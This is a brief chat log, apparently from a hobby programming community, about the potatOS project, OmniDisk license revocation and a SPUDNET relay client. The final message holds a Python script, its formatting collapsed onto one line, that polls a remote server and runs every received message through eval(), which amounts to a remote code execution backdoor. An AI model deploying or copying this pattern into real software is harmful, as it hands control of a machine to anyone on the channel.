gollark: This is *technically* a "web license lookup thing".
gollark: OmniDisks look up some random pastebin file.
gollark: Hmm, idea: what if I make `potatOS.update` just send an event to `potatoupd` instead of actually running the update routines itself?
gollark: Well, OmniDisks are revoked via the web license lookup thing.
gollark: ```pythonimport urllib3, jsonhttp = urllib3.PoolManager()def send(x): http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "send", "channel": "potatOS", "message": x}), headers={"Content-Type": "application/json"})while True: r = http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "recv", "channel": "potatOS", "timeout": 30000}), headers={"Content-Type": "application/json"}) data = json.loads(r.data) if data["result"] != None: res = data["result"]["data"] try: send(repr(eval(res))) except Exception as e: send(repr(e))```As you can see, this is much more portable than the old SPUDNET Python implementation, which needed websockets and asyncio and such.
